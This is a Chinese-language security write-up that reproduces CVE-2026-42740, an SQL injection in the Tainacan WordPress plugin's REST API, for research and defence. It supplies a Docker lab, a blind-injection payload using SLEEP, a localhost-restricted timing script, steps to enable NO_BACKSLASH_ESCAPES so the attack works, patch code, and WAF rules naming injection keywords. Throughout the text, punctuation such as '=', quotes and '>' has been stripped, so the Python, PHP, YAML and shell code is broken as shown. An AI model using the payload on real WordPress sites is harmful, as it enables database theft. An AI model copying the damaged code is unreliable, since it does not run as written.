CVE-2026-42740 漏洞复现:Tainacan REST API 子查询 SQL 注入分析

CVE-2026-42740 漏洞复现:Tainacan REST API 子查询 SQL 注入分析
关键词Tainacan、WordPress 插件安全、REST API、SQL 注入、盲注、WP_Query、current_query、esc_sql、NO_BACKSLASH_ESCAPES影响版本Tainacan 1.0.3修复版本Tainacan 1.1.0漏洞类型SQL Injection / Blind SQL Injection风险等级高危 / 严重具体取决于站点配置、数据库模式和接口暴露面0. 免责声明本文仅用于安全研究、代码审计学习和本地授权靶场复现。文中脚本默认限制在localhost / 127.0.0.1环境运行请勿对未授权站点进行扫描、验证或攻击。1. 文章导读CVE-2026-42740 是 WordPress 插件 Tainacan 中的一个 REST API SQL 注入问题。该问题表面上看是某个参数校验不足导致的注入但从代码审计角度追踪后可以发现真正值得关注的是一条更深层的数据流风险HTTP 请求参数 ↓ WordPress REST API 路由参数处理 ↓ Tainacan current_query 透传 ↓ WP_Query 生成原始 SQL ↓ $wp_query-request 被再次嵌入新的 SQL 子查询也就是说风险不只在于某个参数能否被注入而在于插件把动态生成的 SQL 字符串当成可信数据再拼接到新的查询里。这种设计一旦遇到未注册参数、过滤缺失、特殊数据库模式或旧版本 WordPress 行为差异就可能成为新的 SQL 注入触发点。本文重点包括搭建 Tainacan 1.0.3 本地靶场从 REST API 入口追踪到 SQL Sink分析current_query未注册参数绕过解释为什么默认环境下esc_sql()会成为最后防线模拟NO_BACKSLASH_ESCAPES条件下的时间盲注给出本地检测脚本、热修复代码和长期修复建议。2. 环境搭建本地复现环境如下组件版本说明WordPress6.2 PHP 8.1基础 CMS 环境MySQL5.7默认 UTF-8默认不启用NO_BACKSLASH_ESCAPESTainacan1.0.3漏洞版本靶机地址http://localhost:9982宿主机直接访问测试数据公开 Collection 自定义 Metadata模拟前台公开检索场景2.1 docker-compose.ymlversion: 3.8 services: db: image: mysql:5.7 container_name: tainacan-db restart: unless-stopped environment: MYSQL_ROOT_PASSWORD: rootpass MYSQL_DATABASE: wordpress MYSQL_USER: wp MYSQL_PASSWORD: wppass command: - --character-set-serverutf8mb4 - --collation-serverutf8mb4_unicode_ci ports: - 3307:3306 wordpress: image: wordpress:6.2-apache container_name: tainacan-wp restart: unless-stopped depends_on: - db environment: WORDPRESS_DB_HOST: db:3306 WORDPRESS_DB_USER: wp WORDPRESS_DB_PASSWORD: wppass WORDPRESS_DB_NAME: wordpress ports: - 9982:80 volumes: - ./wp-data:/var/www/html启动环境docker compose up -d访问http://localhost:9982完成 WordPress 初始化后安装 Tainacan 1.0.3docker exec -it tainacan-wp bash apt-get update apt-get install -y unzip curl less curl -L -o /tmp/tainacan-1.0.3.zip \ https://downloads.wordpress.org/plugin/tainacan.1.0.3.zip unzip /tmp/tainacan-1.0.3.zip -d /var/www/html/wp-content/plugins/ chown -R www-data:www-data /var/www/html/wp-content/plugins/tainacan进入 WordPress 后台启用插件Plugins - Tainacan - Activate建议在后台创建1 个公开 Collection 1 个自定义 Metadata 若干测试 Item假设本地测试中Collection ID 4 Metadata ID 8实际复现时请按自己的环境调整。3. 漏洞定位3.1 数据流全景从攻击者输入到 SQL 执行大致可以抽象为四个阶段Stage 1REST API 入口 GET /wp-json/tainacan/... Stage 2current_query 参数进入 get_items() $request[current_query] Stage 3prepare_filters() 转换为 WP_Query 参数 status / metakey / meta_value / orderby ... Stage 4WP_Query 原始 SQL 被嵌入新的子查询 $wp_query-request问题的关键不只是某个参数是否被转义而是$wp_query-request本身是一个已经生成好的 SQL 字符串如果将其继续拼入新的 SQL 语句就等于把“SQL 代码”当作“普通数据”再次传递。这是一种典型的架构反模式。3.2 新旧版本 Diff 观察对比 Tainacan 1.0.3 与 1.1.0 后可以看到修复重点主要落在status参数校验上。也就是说官方修复堵住了已知利用路径但从架构层看仍要关注两个问题1. current_query 是否完整注册和约束 2. 是否还存在把 $wp_query-request 作为子查询继续拼接的逻辑如果只是对status增加白名单而没有对整个current_query做结构化 Schema 约束那么未来只要出现其他可影响 SQL 的子参数同一入口仍可能成为风险点。4. 根因分析4.1 current_query 为什么能绕过校验WordPress REST API 的参数校验依赖路由注册时的 args/schema。正常情况下开发者应该这样注册参数register_rest_route(tainacan/v2, /example, [ methods GET, callback [$this, get_items], args [ status [ type array, required false, sanitize_callback rest_sanitize_array, validate_callback function ($value) { $allowed [publish, private]; foreach ((array) $value as $v) { if (!in_array($v, $allowed, true)) { return false; } } return true; }, ], ], ]);但如果current_query没有在 REST Route Schema 中声明WordPress REST API 不会对其子参数执行强校验。攻击者可以直接构造current_query[status][] current_query[metakey] current_query[meta_value] current_query[orderby]这些参数会作为额外数据进入回调逻辑。这就是典型的“内部参数被外部化”问题开发者以为 current_query 只会由前端正常组件传入 实际上攻击者可以直接构造 HTTP 请求传入。4.2 status 参数为什么是最直观入口在审计过程中current_query[status]是最容易被注意到的入口。其原因是它通常会被映射到WP_Query的post_status条件中。伪代码如下$current_query $request[current_query]; $query_args []; if (!empty($current_query[status])) { $query_args[post_status] $current_query[status]; } $wp_query new WP_Query($query_args);如果status没有白名单攻击者就可能传入publish OR SLEEP(5)-- -理论上这类 Payload 的目标是闭合 SQL 字符串然后插入时间延迟函数。4.3 为什么默认环境下不一定能直接打通在默认 WordPress MySQL 配置下WP_Query内部通常会对部分参数进行转义处理例如对字符串中的单引号加反斜杠publish OR SLEEP(5)-- -被处理后会接近publish\ OR SLEEP(5)-- -在 MySQL 默认模式下反斜杠可以转义单引号所以该 Payload 仍被包在字符串字面量中不会成功逃逸。因此默认环境中可能看到这种现象请求返回 HTTP 200 响应时间没有明显延迟 MySQL 日志中能看到 Payload 痕迹 但 SLEEP 没有真正执行这说明 Payload 已经到达 SQL 构造链路但被最后一层转义阻断。4.4 绕过条件该漏洞在以下条件下风险会显著上升条件风险原因MySQL 启用NO_BACKSLASH_ESCAPES高反斜杠不再转义单引号字符串可能被闭合使用 GBK/GB2312 等宽字节场景高可能触发经典宽字节绕过WordPress 旧版本或参数处理差异中高某些参数路径可能没有完整转义current_query 其他子参数存在未转义 Sink中高例如 meta_key、orderby、meta_value 等插件继续拼接$wp_query-request高原始 SQL 被当作可信子查询复用5. 本地复现5.1 REST 路由枚举脚本不同 Tainacan 版本、站点配置下 REST 路由可能略有差异建议先枚举本地路由。保存为find_tainacan_routes.py代码如下#!/usr/bin/env python3 # -*- coding: utf-8 -*- 仅用于本地授权靶场 枚举 WordPress REST API 中与 Tainacan / facet 相关的路由。 import sys import requests from urllib.parse import urljoin, urlparse def assert_local(base_url: str) - None: host urlparse(base_url).hostname if host not in {localhost, 127.0.0.1, ::1}: raise SystemExit( [!] 安全限制该脚本仅允许用于 localhost / 127.0.0.1 本地靶场。 ) def main(): if len(sys.argv) ! 2: print(fUsage: python {sys.argv[0]} http://localhost:9982) sys.exit(1) base sys.argv[1].rstrip(/) assert_local(base) api_url urljoin(base /, wp-json/) resp requests.get(api_url, timeout10) resp.raise_for_status() data resp.json() routes data.get(routes, {}) print([] Tainacan related routes:) for route in routes.keys(): low route.lower() if tainacan in low and (facet in low or collection in low): print( , route) if __name__ __main__: main()运行python find_tainacan_routes.py http://localhost:9982输出示例[] Tainacan related routes: /tainacan/v2/collection/(?Pcollection_id[\d])/facets /tainacan/v2/collection/(?Pcollection_id[\d])/facets/(?Pmetadatum_id[\d])如果路由不同请以后续脚本中的--route参数为准。5.2 基线请求测试以本地测试环境为例假设接口为/wp-json/tainacan/v2/collection/4/facets/8基线请求curl -i http://localhost:9982/wp-json/tainacan/v2/collection/4/facets/8?current_query[status][]publish预期结果HTTP/1.1 200 OK Content-Type: application/json耗时通常小于 200ms说明端点正常可访问。5.3 本地时间盲注验证脚本保存为tainacan_local_check.py代码如下#!/usr/bin/env python3 # -*- coding: utf-8 -*- CVE-2026-42740 本地授权靶场验证脚本 功能 1. 仅允许 localhost / 127.0.0.1 2. 对比正常请求与时间延迟 Payload 请求 3. 不读取、不导出数据库敏感数据 4. 用响应耗时判断本地实验条件下是否触发延迟。 使用示例 python tainacan_local_check.py \ --base http://localhost:9982 \ --route /wp-json/tainacan/v2/collection/4/facets/8 \ --delay 5 import argparse import statistics import time from urllib.parse import urljoin, urlparse import requests LOCAL_HOSTS {localhost, 127.0.0.1, ::1} def assert_local(base_url: str) - None: host urlparse(base_url).hostname if host not in LOCAL_HOSTS: raise SystemExit([!] 安全限制脚本仅允许用于本地授权靶场。) def send_get(url: str, params, timeout: int) - float: start time.perf_counter() resp requests.get(url, paramsparams, timeouttimeout) elapsed time.perf_counter() - start print(f HTTP {resp.status_code}, elapsed{elapsed:.3f}s) return elapsed def avg_request(url: str, params, rounds: int, timeout: int) - float: costs [] for i in range(rounds): print(f round {i 1}/{rounds}) costs.append(send_get(url, paramsparams, timeouttimeout)) return statistics.mean(costs) def main(): parser argparse.ArgumentParser() parser.add_argument(--base, requiredTrue, help例如 http://localhost:9982) parser.add_argument(--route, requiredTrue, help例如 /wp-json/tainacan/v2/collection/4/facets/8) parser.add_argument(--delay, typeint, default5, helpSLEEP 延迟秒数默认 5) parser.add_argument(--rounds, typeint, default2, help每组请求次数默认 2) args parser.parse_args() base args.base.rstrip(/) route args.route.lstrip(/) assert_local(base) url urljoin(base /, route) timeout args.delay 8 print([] Target:, url) baseline_params [ (current_query[status][], publish), ] # 仅用于本地靶场验证不包含数据读取逻辑 delay_payload fpublish OR SLEEP({args.delay})-- - delay_params [ (current_query[status][], delay_payload), ] print(\n[] Baseline request) base_avg avg_request(url, baseline_params, args.rounds, timeout) print(\n[] Delay payload request) delay_avg avg_request(url, delay_params, args.rounds, timeout) diff delay_avg - base_avg print(\n[] Result) print(f baseline_avg {base_avg:.3f}s) print(f payload_avg {delay_avg:.3f}s) print(f diff {diff:.3f}s) if diff args.delay * 0.7: print([!] 可能触发时间延迟当前本地环境满足利用条件请立即升级或修复。) else: print([*] 未观察到明显延迟默认配置下可能被转义逻辑阻断。) print([*] 仍建议升级到 Tainacan 1.1.0并检查 current_query 参数处理。) if __name__ __main__: main()运行python tainacan_local_check.py \ --base http://localhost:9982 \ --route /wp-json/tainacan/v2/collection/4/facets/8 \ --delay 5默认 MySQL 配置下常见结果如下[] Baseline request HTTP 200, elapsed0.143s [] Delay payload request HTTP 200, elapsed0.171s [] Result baseline_avg 0.148s payload_avg 0.176s diff 0.028s [*] 未观察到明显延迟默认配置下可能被转义逻辑阻断。这说明1. 参数可以进入接口 2. Payload 有机会进入 SQL 构造链路 3. 但默认 SQL Mode 下没有成功逃逸字符串 4. esc_sql / WP_Query 内部转义成为最后防线。5.4 开启 NO_BACKSLASH_ESCAPES 后的条件验证进入数据库容器docker exec -it tainacan-db mysql -uroot -prootpass查看当前 SQL ModeSELECT GLOBAL.sql_mode; SELECT SESSION.sql_mode;临时设置SET GLOBAL sql_mode NO_BACKSLASH_ESCAPES;重新进入 WordPress 容器或重启服务让连接重新建立docker restart tainacan-wp再次执行python tainacan_local_check.py \ --base http://localhost:9982 \ --route /wp-json/tainacan/v2/collection/4/facets/8 \ --delay 5如果环境满足触发条件可能看到[] Baseline request HTTP 200, elapsed0.152s [] Delay payload request HTTP 200, elapsed5.218s [] Result baseline_avg 0.154s payload_avg 5.201s diff 5.047s [!] 可能触发时间延迟当前本地环境满足利用条件请立即升级或修复。这说明在NO_BACKSLASH_ESCAPES模式下反斜杠不再作为字符串转义字符原本依赖反斜杠保护的单引号可能成功闭合 SQL 字符串时间盲注得以执行。实验完成后建议恢复默认 SQL ModeSET GLOBAL sql_mode STRICT_TRANS_TABLES,NO_ENGINE_SUBSTITUTION;6. 日志验证为了确认 Payload 是否进入 SQL 构造链路可以开启 MySQL General Log。进入数据库容器docker exec -it tainacan-db mysql -uroot -prootpass执行SET GLOBAL general_log ON; SET GLOBAL log_output TABLE;发送测试请求后查询日志SELECT event_time, argument FROM mysql.general_log WHERE argument LIKE %current_query% OR argument LIKE %SLEEP% OR argument LIKE %publish% ORDER BY event_time DESC LIMIT 10;也可以查询最近的 SELECTSELECT event_time, argument FROM mysql.general_log WHERE command_type Query AND argument LIKE SELECT% ORDER BY event_time DESC LIMIT 20;如果能看到包含测试 Payload 的 SQL 片段说明参数已到达 SQL 查询构造链路。需要注意的是日志中出现 Payload ≠ 注入成功 响应时间明显延迟 / 数据库函数执行成功 更强的利用证据7. 影响与危害在满足利用条件的环境中攻击者可能造成以下影响7.1 直接危害1. 未授权访问风险 如果公开 Collection 的 REST API 对未登录用户开放攻击者无需后台账号即可访问接口。 2. 数据库信息泄露 时间盲注可被用于逐字符推断数据库内容包括 wp_users、wp_options 等敏感表。 3. 低日志噪声 攻击请求通常表现为普通 GET 请求不一定触发 PHP 报错。7.2 间接危害1. 获取密码哈希后离线爆破 2. 获取站点配置后进一步攻击后台 3. 对博物馆、档案馆、文化机构等 Tainacan 使用场景造成数据泄露风险 4. 如果存在多个同构站点漏洞可能形成供应链式放大影响。8. 修复建议8.1 官方修复优先升级wp plugin update tainacan确认版本wp plugin list --nametainacan --fieldversion推荐版本Tainacan 1.1.08.2 临时热修复status 白名单如果短期无法升级可以先对status做白名单校验。示例代码function tainacan_safe_status($status) { $allowed [publish, private]; $status (array) $status; $safe array_values(array_filter($status, function ($item) use ($allowed) { return is_string($item) in_array($item, $allowed, true); })); if (empty($safe)) { return [publish]; } return $safe; }在构造WP_Query前使用if (!empty($current_query[status])) { $query_args[post_status] tainacan_safe_status($current_query[status]); }8.3 更完整的 current_query 参数约束只修status还不够建议对整个current_query建立白名单。示例function tainacan_sanitize_current_query($value) { if (!is_array($value)) { return []; } $allowed_keys [ status, search, paged, perpage, orderby, order, ]; $clean []; foreach ($value as $key $item) { if (!in_array($key, $allowed_keys, true)) { continue; } switch ($key) { case status: $clean[status] tainacan_safe_status($item); break; case paged: case perpage: $clean[$key] max(1, absint($item)); break; case order: $order strtoupper((string) $item); $clean[order] in_array($order, [ASC, DESC], true) ? $order : ASC; break; case orderby: $allowed_orderby [date, title, modified, menu_order]; $orderby sanitize_key($item); $clean[orderby] in_array($orderby, $allowed_orderby, true) ? $orderby : date; break; case search: $clean[search] sanitize_text_field($item); break; } } return $clean; }REST Route 注册时加入args [ current_query [ required false, type object, sanitize_callback tainacan_sanitize_current_query, validate_callback function ($value) { return is_array($value); }, ], ]8.4 架构层修复不要复用 $wp_query-request不推荐写法$items_query $wp_query-request; $items_query_clause ($items_query) AS qItems; $query SELECT meta_value FROM {$wpdb-postmeta} INNER JOIN $items_query_clause ON qItems.ID {$wpdb-postmeta}.post_id ; $results $wpdb-get_col($query);问题在于$items_query 是 SQL 字符串不是数据。 一旦前面的 WP_Query 被污染后续拼接会扩大风险。推荐改成先取 ID再使用$wpdb-prepare()构造参数化查询$item_ids $wp_query-posts; if (empty($item_ids)) { return []; } $item_ids array_map(absint, $item_ids); $placeholders implode(,, array_fill(0, count($item_ids), %d)); $sql $wpdb-prepare( SELECT DISTINCT meta_value FROM {$wpdb-postmeta} WHERE post_id IN ($placeholders) AND meta_key %s , array_merge($item_ids, [$meta_key]) ); $results $wpdb-get_col($sql);如果 WordPress 版本支持也可以优先让WP_Query只返回 ID$query_args[fields] ids; $wp_query new WP_Query($query_args); $item_ids $wp_query-posts;这样可以避免把完整 SQL 字符串再次嵌套进新 SQL。9. WAF 临时缓解规则以下规则仅作为临时防护不能替代升级。ModSecurity 示例SecRule ARGS_NAMES rx ^current_query \ id:10001,phase:2,deny,status:403,msg:Tainacan current_query suspicious parameter SecRule ARGS rx (?i)(sleep\s*\(|benchmark\s*\(|extractvalue\s*\(|updatexml\s*\(|union\sselect|information_schema) \ id:10002,phase:2,deny,status:403,msg:Possible SQL Injection Attempt Against TainacanNginx 简单拦截示例if ($query_string ~* current_query.*(sleep\(|benchmark\(|extractvalue\(|updatexml\(|union%20select|information_schema)) { return 403; }注意WAF 只能降低攻击成功率不能修复代码缺陷。10. 安全检测命令10.1 检测 Tainacan 版本wp plugin list --nametainacan --fieldversion如果输出1.0.3说明处于受影响版本应立即升级。10.2 检查插件代码中 current_query 使用点grep -R current_query wp-content/plugins/tainacan/classes/api/ -n重点关注1. current_query 是否在路由 args 中注册 2. 是否存在 $request[current_query] 直接读取 3. 是否存在未经过白名单的 WP_Query 参数映射。10.3 检查 MySQL SQL Modemysql -e SELECT GLOBAL.sql_mode, SESSION.sql_mode;风险特征NO_BACKSLASH_ESCAPES如果启用了该模式应重点检查所有依赖反斜杠转义的历史代码。11. 总结CVE-2026-42740 表面上是 Tainacan REST API 参数导致的 SQL 注入问题但从代码审计角度看它至少包含四层安全失误第一层REST API 参数未完整注册 current_query 没有受到 WordPress REST API Schema 的强约束。 第二层回调函数信任调用方输入 get_items() 等逻辑默认相信 current_query 是前端正常组件生成的内部参数。 第三层安全链路依赖 WP_Query 内部转义 默认配置下 esc_sql 可能阻止直接利用但它不应该成为唯一防线。 第四层原始 SQL 被当作数据继续拼接 $wp_query-request 被嵌入新的 SQL 子查询形成架构级反模式。这类漏洞给插件开发者的启示非常明确1. 所有 REST API 参数必须注册 Schema 2. 所有进入 WP_Query 的参数必须做白名单 3. 不要依赖 esc_sql 作为唯一安全边界 4. 不要把动态 SQL 字符串作为可信数据继续拼接 5. 优先使用 $wpdb-prepare() 和结构化参数传递。最后用一句话概括SQL 注入的根源往往不是某个单引号而是开发者在某一层把“代码”误当成了“数据”。只要 SQL 字符串被再次拼接参数化边界就已经被破坏了。